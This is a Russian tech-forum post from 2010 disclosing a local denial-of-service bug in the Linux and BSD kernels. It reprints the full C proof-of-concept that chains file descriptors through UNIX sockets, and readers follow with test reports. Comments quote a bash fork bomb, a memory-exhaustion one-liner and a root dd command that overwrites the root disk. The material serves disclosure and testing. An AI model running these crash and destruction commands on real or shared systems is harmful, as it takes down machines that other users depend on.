Пользователь
18,0
рейтинг
25 ноября 2010 в 23:05

Администрирование → Локальная уязвимость в ядре линукс (и не только), DoS

Опубликован код, приводящий к зависанию компьютера (100% загрузка всех ядер, исчерпание файловых дескрипторов).

Ссылка на код: lkml.org/lkml/2010/11/25/8

Проверял на 27, 32 — зависание воспроизводится. 32/64 бита.

Уточняю: через 1-2 секунды пролетает крашдамп (не успеваю прочитать), хост перегружается. В другом тесте система упала уже после завершения программы (примерно через 5-7 секунд).

PS Эксперты с лора говорят, что FreeBSD 8.1 тоже падает.

PPS Внезапно — на CentOS 5.5 с 2.6.18 не падает. Если запустить из-под рута, роняет, из-под пользователя — просто спокойно отрабатывает. При этом руту в соседней консоли ничего не мешает работать и система не падает.

Пытаюсь уточнить ситуацию:

1) CentOS 2.6.18/64 с непривелегированным пользователем не подвержен.
2) Debian Squeeze 2.6.34/64 с непривелегированным пользователем подвержен (kernel panic).
3) По слухам, в некоторых FreeBSD удалось воспроизвести (из комментариев — FreeBSD 8.2-PRERELEASE не воспроизводится)
4) Из комментариев — на Ubuntu 2.6.32/64 воспроизвести не удалось, на 2.6.36 воспроизводится.
5) Ubuntu 2.6.34/64 — воспроизводится
6) Из комментариев — RHEL5.5 не зависает, но тормозит и мешает убивать процесс.
7) Из комментариев: FreeBSD 4.11, 8.1, OpebBSD 4.6, 4.8, DragonFLY BSD 2.8.0 — подвержены
8) OpenVZ + 2.6.18 Debian/Centos — не воспроизводится.

PPPS тем, кто тестит — запускать надо от непривелегированного пользователя.

Текст теста:

#include <sys/socket.h>
#include <sys/un.h>

static int send_fd (int unix_fd, int fd)
{
  struct msghdr msgh;
  struct cmsghdr *cmsg;
  char buf[CMSG_SPACE (sizeof (fd))];
  memset (&msgh, 0, sizeof (msgh));
  memset (buf, 0, sizeof (buf));

  msgh.msg_control = buf;
  msgh.msg_controllen = sizeof (buf);

  cmsg = CMSG_FIRSTHDR (&msgh);
  cmsg->cmsg_len = CMSG_LEN (sizeof (fd));
  cmsg->cmsg_level = SOL_SOCKET;
  cmsg->cmsg_type = SCM_RIGHTS;

  msgh.msg_controllen = cmsg->cmsg_len;

  memcpy (CMSG_DATA (cmsg), &fd, sizeof (fd));
  return sendmsg (unix_fd, &msgh, 0);
}

int main ()
{
  int fd[2], ff[2];
  int target;
  if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, fd)==-1)
    return 1;
  for (;;)
  {
    if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, ff)==-1)
	return 2;
    send_fd (ff[0], fd[0]);
    send_fd (ff[0], fd[1]);
    close (fd[1]);
    close (fd[0]);
    fd[0] = ff[0];
    fd[1] = ff[1];
  }
}
Георгий Шуклин @amarao
карма
268,0
рейтинг 18,0
Пользователь
Реклама помогает поддерживать и развивать наши сервисы

Подробнее
Реклама

Самое читаемое Администрирование

Комментарии (197)

  • +7
    Ничего, пофиксят
    • 0
      Пофиксить-то пофиксят, а люди с доступом к серверу по ssh могут уронить его уже сейчас.
      • +20
        >> а люди с доступом к серверу по ssh могут уронить его уже сейчас.
        Ну как бы они это могли всегда сделать, без какой либо уязвимости :)
        • +7
          вы уверены? Каким образом?
          • –4
            Если у пользователя есть возможность выполнять команды от рута — никаких проблем нет.
            Возможен вариант с «выеданием» памяти (опять же плохо написаним кодом) или процессора.
            • +4
              работает без рута.
            • +6
              Если есть рут, о чём мы говорим? dd of=/dev/null of=/dev/root; halt

              Речь про отсутствие рута.
              • 0
                >>Пофиксить-то пофиксят, а люди с доступом к серверу по ssh могут уронить его уже сейчас.
                Извините, тогда я пропустил root в этой фразе.
                • +20
                  человек, имеющий рута, имеет возможность всё сломать. Вне зависимости от наличия уязвимостей.
                  • НЛО прилетело и опубликовало эту надпись здесь
                  • 0
                    Неверно, если — 1) рут ограничен чем-то вроде SELinux'а.
                    2) Сама система является OpenVZ-контейнером.

                    Обе песочницы предполагают, что в ядре нет уязвимостей, дающих выбраться из песочницы, либо получить ресурсы, больше предопределённых.
                • +1
                  Как вы пропустили тут рета, если это даже не вы говорили?
          • +1
            Например:
            #!/bin/bash
            :(){ :|:& };:

            • +2
              придет OOM Killer и всех убьет ;)
              • +2
                … И всех убьёт. Проверьте, право, это просто.
                (OOM Killer поможет, если он отличает fork-бомбы.)
                • 0
                  да проверял :)
                  Вы почитайте про OOM, он вполне разумен ;)
                  • +1
                    Где написано про эти новые доработки? Когда я проверял в последний раз, OOM Killer убивал буквально всё, нужное и ненужное. Сейчас не могу проверить.
                    • 0
                      почитайте описание того, как OOM Killer выбирает процесс который должен умереть
                      catap.ru/blog/2009/05/03/about-memory-oom-killer/
                      на хабре в свое время была ссылка на эту заметку.
            • 0
              А что это?
              • +1
                Это форк-бомба. Попробуйте в консоли, предварительно сохранив всё открытое.
                • 0
                  Я надеюсь, все файлы останутся живы?

                  И как это работает?
                  • 0
                    Сохраненные файлы не потеряются. В самом худшем случае придётся перезагружаться.
                    Описание работы и история.
                    • 0
                      Да, уже нашел, спасибо
                      но у меня не работает почему-то
                      • 0
                        Видимо, или лимиты стоят, или какая-то другая защита. Это нормально.
                        • 0
                          заработало, когда запустил не в качестве скрипта, а тупо
                          forkobomb(){forkobomb:forkobomb&};forkobomb
                      • 0
                        лимиты на количество процессов?
            • 0
              man limits.conf
        • –2
          Капитально уронить сервер без рутового доступа обычно нереально, вообще-то.
          • –1
            Попробуйте от пользователя:
            #!/bin/bash
            :(){ :|:& };:
            • +2
              если ulimit не выставлен, можно выгнать всех в своп простым
              tail /dev/zero
  • +3
    Добавьте, 2.6.35 (x86_64) тоже работает, только что проверил.
    • 0
      Из-под пользователя?
      • 0
        ага.
  • +62
    РЕШЕТО!
    • +7
      Я ждал этого лор комментария!
      • +1
        Mac OSX Snow Leopard, не работает :)
        мож собрать надо как-то по-особенному?
    • +4
      Одинадцатый! Хотя FreeBSD тоже касается)))
      • 0
        FreeBSD 8.2-PRERELEASE
        не подтверждается ни SOCK_SEQPACKET ни SOCK_DGRAM
        • 0
          s/SOCK_SEQPACKET/SOCK_STREAM/g
  • +8
    Бля, как страшно жить! ©
  • +1
    А Соларис как себя ведет никто не тестил? Отето виндовзятники потешатся :(
    • 0
      самому интересно, скорее память кончится чем дескрипторы. :-)
    • +3
      Не буду говорить за всех «виндузятников», но лично мне или все равно на проблемы в линуксе или я отношусь к ним также, как и к проблемам в любом софте которым я не пользуюсь. Любые проблемы в любом софте — дополнительные знания для айтишника, а не повод для «гыгыканья»
      • 0
        > я отношусь к ним также, как и к проблемам в любом софте которым я не пользуюсь. Любые проблемы в любом софте — дополнительные знания для айтишника, а не повод для «гыгыканья»

        Такой бы комментарий да в тред про «дырявость винды».
      • 0
        1 из 1000000 негыкающих :(Интересно что об этом всем думает Торвальдс?
  • +35
    «Эксперты с лора» — любимое место в статье. :)
    • 0
      ага, как увидел задался мыслью «почему я там их не видел?» =)
      • +3
        «Анонимные аналитики» было бы точнее и атмосфернее.
  • +1
    Проверил на серверной Ubuntu:
    2.6.32-24-generic-pae #43-Ubuntu
    От простого пользователя запускается, кушает 100% процессора, и успешно завершается.
    mainnika@mainnika:~$ ./fail
    mainnika@mainnika:~$

    От рута вешает, но второе окно ssh консоли работает. И NAT активен.
    Однако
    mainnika@mainnika:~$ sudo killall fail
    -bash: start_pipeline: pgrp pipe: Слишком много открытых файлов в системе
    -bash: /usr/bin/sudo: Слишком много открытых файлов в системе

    Рядом стоял ноутбук с Kubuntu, запустил от пользователя — висит, хотя на ssh ответил
    2.6.35-22-generic #35-Ubuntu
    выполняется уже 10 минут, видимо тоже не завершится.
    • +1
      Удачно сам завершился процесс от рута на серверной Ubuntu:
      root@mainnika:/home/mainnika# ./fail
      root@mainnika:/home/mainnika#


      Жду завершения на нетбуке.
      • +2
        У меня в тестах (не разбирался пока почему) оно нормально отрабатывает только из /usr/bin/
        • +2
          Apparmor?
    • 0
      Ноут, убунта, 2.6.35, иксы выключены, запущено 2 консоли. Одна от юзера, другая рутовая. Запустил от юзера прожку, она сожрала 16% оперативы и одно ядро процессора. Убить не удаётся, но работать не особо мешает. Подождал 10 минут, перезагрузил. Если запускать с иксами, то они виснут намертво.
      • +1
        У меня включены иксы, ноут на atom n270 с кедами и 2.6.35-22-generic, иксы отвечают с очень большой задержкой, а ssh с небольшой задержкой отвечает.
      • 0
        битность?
        • 0
          64
  • +8
    Автор Марк Коренберг mmarkk.moikrug.ru/
  • –3
    интересно сколько хостингов, с ssh на линуксах, эта новость положит.
  • –7
    Желтый такой заголовок, голактекоопасности, уязвимость в ядре, мы все умрем!!!1111
    На самом деле уязвимость совсем не страшная, вируса на основе неё не сделаешь, трояна не напишешь, привилегии не поднимишь, да и сервер уронить можно только c доступом к этому серверу, а обычно к серверам имеют доступ админы или сотрудники фирмы которой принадлежит сервер, ну а локальную машину будет можно и так уронить без любой дырки — зажать на 4 с. кнопку питания, вот бы все уязвимости всегда только такими и были.
    • +14
      1) Это узявимость.
      2) Это приводит к DOS.

      Где желтизна?

      Утверждение, что по ssh могут ходить только «сотрудники фирмы» несколько несправедливо, например, для хостингов. Разница между пользователем трёхбаксового хостинга и человеком, получившим локальный доступ к серверу в дата-центре, имхо есть.
      • –8
        > 1) Это узявимость.
        > 2) Это приводит к DOS.
        Получается, _любой_ ssh-доступ к серверу == уязвимость?
        Потому как дебил с кувалдой может «прекратить обслуживание»? Тупо, rm -rf /…

        ААААААААААААААА!!!
        Уязвимость!!!
        Пользователь с правами root может удалить все файлы!!!

        > Где желтизна?
        В нагнетании обстановки вокруг возможности исчерпать ресурсы системы…

        Да, неприятненько…
        Да, хорошо бы это дело «подпереть»…
        Шо, кое-где уже подпетро?
        Все делаем, как там…
        Делов то…

        • +6
          Где вы видели нормальные хостинги, на которых выдают su/sudo всем кому попало? Тут проблема в том, что положить хостинг сможет любой дурак. Без рута. А это уже ПРОБЛЕМА.
          • –6
            Это проблема хостинга, а не Linux(FreeBSD, Solaris, etc...).
            При этом, возможность наплевать в общий котел не зависит от ОС…
            На виндовом хостинге можно точно так же исчерпать ресурсы…

            Проблемы хостинга, организованного тремя пионэрами, на бытовом PC-ке, мало кого интересуют…

            И, согласитесь, «проблема хостингов» != «локальная уязвимость в ядре Linux»…
            О птицах, кстати, ядро Linux не имеет ни какого отношения к *BSD, где данный эффект так же имеет место быть…

            Не путайте теплое с мягким…
            • +9
              Я не знаю как в России, а в Европе принято давать SSH доступ для хостингов.

              И это НЕ проблема хостинга. Это проблема операционной системы. Так как *BSD и Linux МНОГОпользовательские изначально, то они имеют инструменты для разграничения ресурсов для пользователей. И если эти инструменты не работают, то это — ПРОБЛЕМА. И дело вовсе не в хостинге. Если разграничения прав пользователей не работают, то это проблема. Если любой дурак может эскалировать привилегии, то это проблема. Если операционка не может нормально шарить ресурсы между пользователями, то это тоже, блин, проблема.

              Поэтому не пишите ерунду, ок? А то получается, что если тостер не может поджарить хлеб, то это вина солнечных бурь, а не тостера.
              • –7
                У вас не возникло ощущения, читая это обсуждение, что данная «уязвимость» проявляется не на всех ядрах и не во всех дистрибутивах…
                Стало быть, проблема эта в опциях конфига, а не в самом ядре.
                И есть сборки (серверные), исключающие данную «уязвимость», а есть сборки (НЕ серверные), в которых некоторые опции не включены, ради повышения быстродействия, или еще чего ради…

                И если какой-то ламер, зная только один дистрибутив, поставил на нем хостинг, то он сам себе буратин…

                Еще раз обращаю ваше внимание на тот факт, что кривые руки и, как результат, криво настроенный сервер, не являются «локальной уязвимостью ядра Linux»…
        • 0
          Мальчик. Я не знаю как у других, а у нас в дата-центре, перед тем, как ты с кувалдой окажешься у сервера, тебе придётся сначала предъявить злобному дяде с оружием документы, потом пройти через толстенную вертушку во весь рост, потом получить разрешение (пропуск), потом предъявить его второму охраннику, и в сопровождении персонала пройти через очередную железную дверь в помещение дата-центра, потом каким-то образом догадаться, где находится сервер, потом ещё открыть шкаф…

          Не думаю, что это разрешат сделать с кувалдой.

          А вот шелловый доступ многие хостеры предоставляют.

          Далее. Почему рут? Речь про обычного пользователя.
          • –1
            > Мальчик.
            В профиль глянь, перед тем, как.

            > как ты с кувалдой окажешься у сервера
            Аллегория, обозначающая грубую силу, ныне не всем доступна… Там и пример «кувалды» приведен был…
            Что за времена пошли?

            > Далее. Почему рут? Речь про обычного пользователя.
            Тупо, не читал _все_ буквы, а только знакомые?

            Хорошо… На пальцах, для… кому некогда думать.
            Доступ root, с некоторой долей фантазии, рассматриваем как «подход с кувалдой»…
            Тут у нас вообще уровень повреждений ограничивается исключительно личной квалификацией и фантазией… Crash-test бесконечный и к физическим повреждениям на почве перегрева привести может.

            А обычный пользователь, если на _сервере_ не включены соответствующие ограничения, действительно может нагадить нехилую кучу (надеюсь, всем доступна сия аллегория)…

            Ну так мозги нужно включать перед установкой сервера, а не после инцидента…

            Где-то так…
    • +4
      И действительно. Подумаешь, очередная уязвимость в ядре линукса )
      Можно было привыкнуть уже
      • +5
        Ну да. А первого человека, по различным источникам, убили то ли 50к лет назад, то ли 6.5к лет назад. Чего мы на убийства всё ещё реагируем?
        • 0
          Это был сарказм
          • +1
            извините, инерция чтения сверху вниз.
    • 0
      К серверам Sourceforge все имеют доступ по SSH, например.
  • –6
    DOS, ага. Хабр такой хабр.
    • +2
      DOS=Denial of service. Пользователь имеет возможность прервать нормальную работу сервера. А если пропишет в крон, то вообще привести сервер в несовсем рабочее состояние.
      • +7
        Лучше уж DoS, все-таки и правильнее, и вызывает меньше ассоциаций с операционкой DOS
        • +1
          спасибо, поправил.
    • 0
      Denial-of-service attack, в этом часном случае у вас или будет занят проц и вы получите отказ в опслуживании, или сервант вообще ляжет. Что не так?
      • +9
        Сервант в недоумении от вашего комментария


        DOS и DoS таки немного разные вещи, ага. И автор поста уже поправил.
        • 0
          Как остроумно, особено если учесть даты ответов.
          • +2
            DOS от DoS можно отличить вне зависимости от дат сообщений.
  • –8
    Сегодня куль-хацкеры научились из-под рута забивать файловые дескрипторы. Завтра они же изобретут форк-бомбу. Как страшно жить!
    • +4
      Причём тут рут? Из-под пользователя. Без прав.
      • +1
        Сам же пост обновлял про RedHat. Когда превышение полномочий лечится правильными настройками ядра на выдачу дескрипторов, проблему и уязвимостью сложно назвать. Та же история с форк-бомбами.
        • 0
          проверял на RHEL5.5
          система работает но таки исчерпываются декрипторы (было соответствующее сообщение в логах )
          и ОС мякго говоря начинает медленно работать
          и процесс не убивается. ребут
          • +1
            Забавно. А у меня всё вроде ок. То есть сообщение есть, но процесс просто тихо сам завершается. Но это центос, rhel я вписал по-аналогии. Сейчас поправлю.
        • 0
          Ещё раз: рэдхэт не подвержен. Запуск из-под рута такой гадости за уязвимость не засчитывается. Остальные системы (хотя там выше про бубунту пишут ещё) роняются из-под обычного пользователя.
          • 0
            Серверная не роняется. Не из под рута, не из под юзера.
            На кубунте на атоме до сих пор выполняется, ничего не упало, думаю завершится, просто долго.
            • 0
              Я только что уронил с 2.6.34.

              Какая версия ядра «нероняемой убунты»? (uname -a)
              • 0
                2.6.32-24-generic-pae #43-Ubuntu
                Может я что то неправильно делаю\компилю\etc?
                • +1
                  У меня возникла одна идея, сейчас проверяю…

                  Покажите /proc/cpuinfo и вывод vmstat
                  • 0
                    • +1
                      обе гипотезы неверные.

                      Я думал, что а) проблема в SMP'шности, что б) проблема в быстроте машины (что на медленных машинах проблемы не будет).

                      Нет, это не так. На медленной UP машине проблема так же есть. Вероятнее всего, какая-то закономерность есть, но поймать не могу.
                      • 0
                        На нетбуке тоже завершилось, пока я спал. Долго конечно, но ничего не упало.
    • 0
      Они из-под рута даже диск стереть могут. Правда-правда!
      • 0
        немедленно отобрать у человеков права рута!!! )))
        • +1
          Лучше отобрать у них серверы. :))
  • 0
    убунту 10.10, ядро 2.6.36 x86_64, запуск под пользователем.
    Повисло накрепко, соседние tty принимают логин, после ввода пароля виснут.
  • +14
    Чтоб слишком обидно не было вот: Повышение привилегий в Microsoft Windows тоже свежачок от 25 ноября
    • +5
      Ну у нас ещё всё неплохо, произвольный код выполнить не удастся )
      • НЛО прилетело и опубликовало эту надпись здесь
  • +1
    Эм, а я вот программу написал она съедает в секунду 2 с гаком метра памяти (для теста оперативки в «боевых условиях»), можно я тоже выложу код и скажу, что это уязвимость ядра, потому компьютер виснет, если начинается обращение в своп… Примерно так выглядит эта новость. К слову можно сделать программу, которая съедает по одному идентификатору процесса в итерацию, тоже кладет ядро на ура и linux и BSD. В общем непонятная «уязвимость» какая-то…
    • +3
      Тут процесс неубиваемый. Если процесс выжирает всю оперативу, его рано или поздно прибивает ведро. Если своп выключен, то обычно рано.
    • 0
      Давайте. Я буду даже готов её на сервере запустить ради теста.
    • 0
      Да ладно, веселее, когда mplayer иксы роняет. Да так капитально, что они ещё и до ребута не могут потом запуститься.
    • 0
      Твоя программа не сможет скушать 2гб, так как убьётся по out of memory. А тут все ограничения обходятся.
      • 0
        У меня есть эта программа и я лично наблюдал как она съедала и 4 гига. когда заступала в своп, компьютер умирал. Все это из под пользователя давайте мыло я вам отправлю и проверите у себя.
        • 0
          ок, только не программу, а сырцы. Не хочется оказаться случайно частью ботнета на канале в гигабит.
          • 0
            Да, само собою сырки )
            ЗЫ еще нужен будет Qt) программка в общем-то дурацкая но зато память забивать умеет )
            ЗЗЫ мыло в личку тогда. Могу еще отправить forkалку для исчерпания количества процессов. Правда я ее тестил ток на 32 битах на 64 еще не пробовал. Она аналогично тупая делает fork процесса и в дочернем входит в бесконечный цикл со sleep 1 на FreeBSD 7.1 и Linux тестил оба падали с кернел паником)
            • 0
              ок, виртуалок у меня много. Но нужно понимать, что запускать я буду на непривилегированном пользователе с выставленными лимитами.
  • 0
    lkml.org накрыло то ли Хабраэффектом, то ли чем-то покрепче. Для страждущих копипастю сырец сюда.
    • +4
      Видимо кто то решил проверить уязвимость не отходя от кассы — прям на сервере klml.org
    • +2
      Щас и pastebin.com накроет ;)
      Ведь пока у каждого линукс система не повиснет — народ не успокоится =)
  • +1
    FreeBSD 4.11, 8.1 — лежат.
    OpebBSD 4.6, 4.8 — лежат.

    В сети подсказывают, что в жуткие висяки уходит и DragonFLY BSD 2.8.0
    • +3
      Забавная тенденция, однако…
      Раньше эксплойтами пользовались посторонние, пусть даже только ради развлечения. А теперь админы сами добровольно их запускают на своем железе ))
      • +12
        … чтобы с помощью зловредного кода повесить n Виндовс машин — приходится идти на всяческие хитрости (бла-бла-бла чего-то там) =(

        … чтобы с помощью зловредного кода повесить n Линукс машин — достаточно опубликовать на каком-нибудь популярном IT ресурсе данный зловредный код, а админы уже сами распространят его между собой и успешно запустят на своих Линукс машинах (блин, ну им интересно-же!) =)
        • +2
          Среднее время создания дебиана у меня в облаке — 2 минуты. В запасе примерно 20 простаивающих виртуалок, которые переставить можно в два клика. Не жалко.
          • +1
            Хорошие у вас облака. А я всё по-старинке, с образа диска ставлю. Хотя мне новые виртуалки не так часто нужны.
          • 0
            Наверное так будете спокойны до первой публикации рабочего эксплойта выхода из песочницы популярных систем виртуализации :) а они вообще то есть, и даже эксплойты на процессор есть (на хабре была пара статеек, что то не могу сходу найти, речь идет о размещении зловреда в микрокод процессора, что перепрошивка биоса не помогает, как я понимаю зловред это перехватывает тоже).
      • +1
        Так опенсорс же. А железку хочется иногда поломать.
      • 0
        Лучше это проверю я и буду смотреть чем закрыть, чем это проверит какой-нить стажер (упаси бг — юзер), когда я уеду в отпуск. :)
  • 0
    Вы не могли бы разъяснить, что код делает? Создает неограниченное число сокетов, посылает в каждый сообщение и никогда не получает?
    • 0
      откровенно, я с сокетами не работал. Издалека выглядит так: «срёт в сокеты и тут же закрывает». Хотя смущает, что он зачем-то использует сокеты из разных пар. В рассылке писали про проблему GC (garbage collector'а) в ядре.
    • +1
      Создает пару UNIX-сокетов, отправляет первый _сокет_ во второй, закрывает дескриптор первого. Т.к. к первому ещё можно обратиться, если прочитать его из второго, то ядро не освобождает структуры, связанные с первым сокетом. Далее создается третий сокет, второй пишется в него, второй закрывается. И так далее. Эдакая глубокая матрёшка.
      • +1
        Нет, вру, извините :(
  • 0
    Даже если кто-то уже 100500 раз проверил данную уязвимость, на аналогичной для %username%'а системе (с аналогичным для %username%'а ядром), и у него (того, кто уже 100500 раз проверил данную уязвимость) все благополучно повисло, то %username%, будет просто обязан запустить все это у себя и отписаться: «Вот блин, у меня тоже повисло =(» =)
    • 0
      судя по тому, что я прочитал выше — очень странная зависимость от ОС и ядра…

      Новая гипотеза: имеет отношение к preemptive сборке ядра.
  • 0
    2.6.35-ARCH
    Пару минут тужилась, да спокойно завершилась.
  • 0
    Ubuntu Server, 2.6.35 EC2 (XEN DOM-U), запустилось, системе поплохело, процесс убился через SIGKILL из соседнего терминала. Сейчас попробую подождать.
    • 0
      Это может показаться забавным, но процессорное время процессом не жрётся, судя по показаниям top. Хотя ssh заметно лагает.
      • 0
        Ну, топ смотрит изнутри системы. Я смотрел из xentop'а (монитор виртуалок в xen'е) — мучимая виртуалка грузит процессор на 100%, ровно.
    • 0
      Глянул выскр ядра через xm console, а там:
      [5541166.095147] Out of memory: kill process 28330 (sshd) score 23000 or a child
      [5541166.095156] Killed process 28331 (bash)
      [5541231.516955] BUG: soft lockup — CPU#0 stuck for 61s! [wtf:28482]

      • 0
        oom — это известная проблема многих зеновских ядер. sysctrl vm.overcommit_memory=2 — и останется только soft lockup.
    • 0
      Последняя строчка повторяется уже несколько раз. Судя по показаниям xm top выжрана уже вся оператива.
      • 0
        Этот баг (бешенный oom killer) не имеет отношения к обсуждаемой проблеме. Если вы из питона будете жрать память, будет то же самое

        python
        a=" "*1024*1024*64
        b=" "*1024*1024*64

        f=" "*1024*1024*64
        g=" "*1024*1024*32
        h=" "*1024*1024*16
        i=" "*1024*1024*8
        j=" "*1024*1024*4
        k=" "*1024*1024*2
        l=" "*1024*1024*1

        (где-то в этом районе oom взбесится).
        • 0
          Я про «BUG: soft lockup — CPU#0 stuck for 61s!», убило 2 процесса всего и больше про out of memory ничего не говорило.
        • 0
          Взбесить питоном не удалось, убило только питона.
          • 0
            Используйте меньшие кусочки. На 2.6.18 баг трудноуловим. На 2.6.32-xen — цветёт и пахнет. В pv_ops его нет.
    • 0
      Так, оно, похоже, таки завершилось само. Или его ядро убило. Сейчас отдельно от ssh-сессии попробую запустить.
    • 0
      Запустил из ксеновской консоли. В общем, ядро срёт кирпичами сообщениями вида «BUG: soft lockup — CPU#0 stuck for 61s!», процесс завершился сам где-то через 4 минуты.
  • 0
    Archlinux 2.6.36 ядро с гентушными патчами(kernel-ice) x86-64

    Запускается, чего то делает, загрузка процессора 100%, все немного подтормаживает, я минут 5 подождал, ниче не поменялось и завершил процесс.
  • +3
    В предвкушении завтрашней (или уже сегодняшней) новости: «С помощью локальной уязвимости в ядре, неизвестный и очень опасный хакер, вывел из строя более 100500 серверов, работающих на открытой операционной системе Линукс (это та, которая не Виндовс (ну помните, мы вам про нее уже как-то рассказывали))! Информации о том, каким образом распространяется этот опасный код и нас пока еще нет. Но то, что Линукс уязвима — это факт (мы же вас предупреждали!)!» — журналисты, они же ведь такие =)
    • +2
      Вообще-то, кто попало этим восмользоваться не сумеет. На правильно настроенных серверах /var, /home и /tmp смонтированы с noexec, так что даже имея там акк, запустить код не получится.
      • +1
        Я не помню, при прямом вызове ld оно атрибуты проверяет? Кроме того, от того, что ELF запрещён, не вытекает невозможность сделать то же самое на perl/php/python…
  • 0
    На FreeBSD 8.1-RELEASE воспроизвести не удалось, программа нормально завершается сразу же.
    • 0
      Она не может нормально завершится, там цикл бесконечный.
      • 0
        У вас там вот тут видимо «пшел вон»:

        • +2
          if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, fd)==-1)
          return 1;

          т.е. просто не поддерживается SEQPACKET
          • 0
            Да, так и есть.
  • 0
    Проверил дома на Fedora 13 ядро 2.6.34.7-61 архитектура x86_64. Пользовательский процесс занял весь cpu и не убивался ни как.
  • 0
    CentOS тоже подвержен. И не просто подтормаживает. Ядро 2.6.18-194.26.1.el5 с последними обновлениями. Запуск эксплойта повесил гном намертво. Из другой консоли убить тот процесс на дает, перезагрузка заняла минут 20.
    • 0
      А вот FreeBSD 8.0 RELEASE не подвержен.
    • 0
      Офигеть. А у меня не виснет. Значит, что-то влияет на воспроизводимость… Но я не могу понять что.
  • –2
    Можно поинтересоваться? При каких условиях может эта уязвимость проявится в реальных условиях? Так как конь в вакууме всегда будет в вакууме, то и данная уязвимость будет только на страницах хабра или на других ресурсах.
    • 0
      например, многие хостеры дают непривилегированный доступ к ssh для клиентов. Один чел может замучить сервак, где с десяток-другой клиентов сидит. В организациях по аналогии.
      • –3
        разумные хостеры — не дают. Максимум можно получить ssh на виртуалке.
        • 0
          Давайте не будем в риторическую плоскость опускаться. Для справки: существует целая область хостинга, в которой только нерутовые шеллы и продают.
          • –2
            в том то и дело
            всякое продают, но неразумно брать хостинг где дают шелл всем
            ибо положить сервер при желании способов — мильон. Всего то надо мониторить новые уязвимости, а они есть всегда и во всем.
            • 0
              опять вы не о том, что ж ты будешь делать.
              Повторю:
              существует целая область хостинга, в которой только нерутовые шеллы и продают.
              Более ничего. Исключительно шелл-хостинг.
              они есть всегда и во всем.
              Ага, давайте вообще никому доступ никуда не дадим, ни на выполнение скриптов, ни на запись в директории. Такой вот защищенный хостинг. Выключайте уже режим занудства и включайте мозг. Практических применений указанному коду в реальной жизни масса. Вас ведь этот вопрос волновал, не так ли? Никак не «разумность, доброта, вечность, мир во всём мире»?
              • –2
                Окей, ну в таком случае неразумно рассчитывать на стопроцентную работоспособность шелл-хостинга, если вы такой покупаете :-)
  • +1
    Gentoo 2.6.34 x86

    Запустил под юзером — в итоге пришибло через минуту все процессы юзера (OOM-Killer постарался) остался один только только эксплоитовый. Причем через какое-то время он просто сожрал 1 ядро и система лишь чуть чуть потеряла в отклике и ничего страшного не случилось. Жопа только то, что убить сей процесс у меня не получилось =)

    Решил уж совсем добить сервер и запустил ещё один эксплоит, но уже от рута =). Забавно, что на этот раз OOM-Killer первым делом прибил запущенный эксплоит от юзера =)))))))))). Клин клином…

    Рутовый же не заставил OOM-Killer убить ни один процесс и просто сожрал 1 ядро. Убить его руками тоже не получилось.

    Все это время мог попасть по ssh на машину (даже пробовал перезапускать ssh при запущенном эксплоите — ноу проблем). Перезагрузился стандартными средставми, дольше все отмаунтился root /, но в целом перезагрулся за минуту-полторы, не больше.

    Так что — «не подвержен» вероятно будет разумным вердиктом) Жаль только что процесс не убить.
    • 0
      Gentoo в смысле gentoo-sources или какие исходники?
      • 0
        Ну если я явно не указал кастомный набор патчей, значит gentoo-sources =)
        • 0
          не скажите, коллега, может Вы вообще vanilla-sources имели в виду ))
  • +3
    Добавьте пожалуйста, 2.6.37-rc2-git не паникует, все очень сильно тормозит, но ничего не падает. Убить процесс не получается. Допишу коммент и пойду в ребут.
  • 0
    2.6.34-gentoo-r12 SMP x86_64
    AMD Athlon(tm) X2 Dual Core Processor BE-2350

    Ничего не повисло. Один раз упал top в соседней консоли в segfault, запустил его снова, больше проблем не было. Одно из ядер процессора — 100% загрузка и сколько-то IO Wait, другое — 100% idle.

    Никаких oom-killer, никаких пожираний памяти — несколько сотен мегабайт кэш, несколько сотен — свободно, практически полностью свободная подкачка.

    В логах одно сообщение об исчерпании файловых дескрипторов, после этого были и другие сообщения.

    X тупили страшно, отзывчивости никакой.

    Прибить процесс не удалось даже kill -9 от root. Ставил ему nice 19, ionice idle, всё это поставилось, но никакого видимого эффекта не дало.

    Минут двадцать сидел с такой тупящей машиной. Потом отправил в перезагрузку.

    Отношение к PREEMPT:
    $ zgrep PREEMPT /proc/config.gz
    # CONFIG_TREE_PREEMPT_RCU is not set
    CONFIG_PREEMPT_NOTIFIERS=y
    # CONFIG_PREEMPT_NONE is not set
    CONFIG_PREEMPT_VOLUNTARY=y
    # CONFIG_PREEMPT is not set
    

    • 0
      Забыл дописать: перезагрузка шла медленно, но не слишком. Дошла до «Unmounting filesystems» и застряла. Висело так минут пять, нажал Reset.
      • 0
        У меня ребут на этом тоже заткнулся, но всего на минутку, после чего ребутнулся до конца сам.
  • 0
    Mandriva 2010.1 ядро 2.6.33.5-desktop-2mnb
    запустиз из-под пользователя. Кеды начали жутко тормозить. Убился командой kill
    • +1
      Хм… все не совсем так. Запуск из под пользователя: съедает один процессор, что приводит к жутким тормозам(даже компиз самоотключился) первый раз каким-то чудом удалось завершить (видимо рано начал бороться). При повторном запуске ждал дольше перед тем как начал борьбу. Пытаюсь убить =) Пока без результатно, но полного зависания системы нет
      напомнило: xkcd.ru/i/242_v1.png
    • 0
      Удалось повесить. Разница в работе на разных системах в планировщике процессов. стандартный планировщик мандривы не дает сожрать все что жрется. изменил планировщик на FIFO — система зависла. На остальных не пробовал.
  • 0
    Opensuse 11.2 2.6.31.14-0.4-desktop

    Повисло в момент, даже намлок не нажимался. :)
  • +1
    CentOS 5.5
    2.6.18-194.el5xen (XEN-ядро) x86_64
    все умирает, в консольном выводе out of memory, kernel panic вроде как нет
  • 0
    на убунту 10.10 пришли обновления ядра, но проверять нет ни времени, ни желания.
    потестите кто-нибудь, скорее всего это фикс
    • 0
      Нет, это не фикс >_<
  • –2
    Отлично! Отложим новость для будущих холливарных топиков «Linux VS Windows». :)
  • 0
    Linux ххххххххх 2.6.18-194.8.1.el5.028stab070.5PAE #1 SMP Fri Sep 17 19:27:06 MSD 2010 i686 GNU/Linux
    Есть вот такой вот vds. Там debian. Там OpenVZ. Пробовать как то сыкотно(не хотелось бы что бы полегло), но прям зудит в одном месте. Господа, оно поляжет?
    • 0
      В openvz буду сегодня проверять.
      • 0
        OpenVZ + 2.6.18 Debian/Centos — не воспроизводится.

        Ура! Ура! Я знал!
  • +3
    Windows 7 x64 умирает.
  • 0
    Кто-нибудь пробовал на макоси? Таки тоже unix.
    • 0
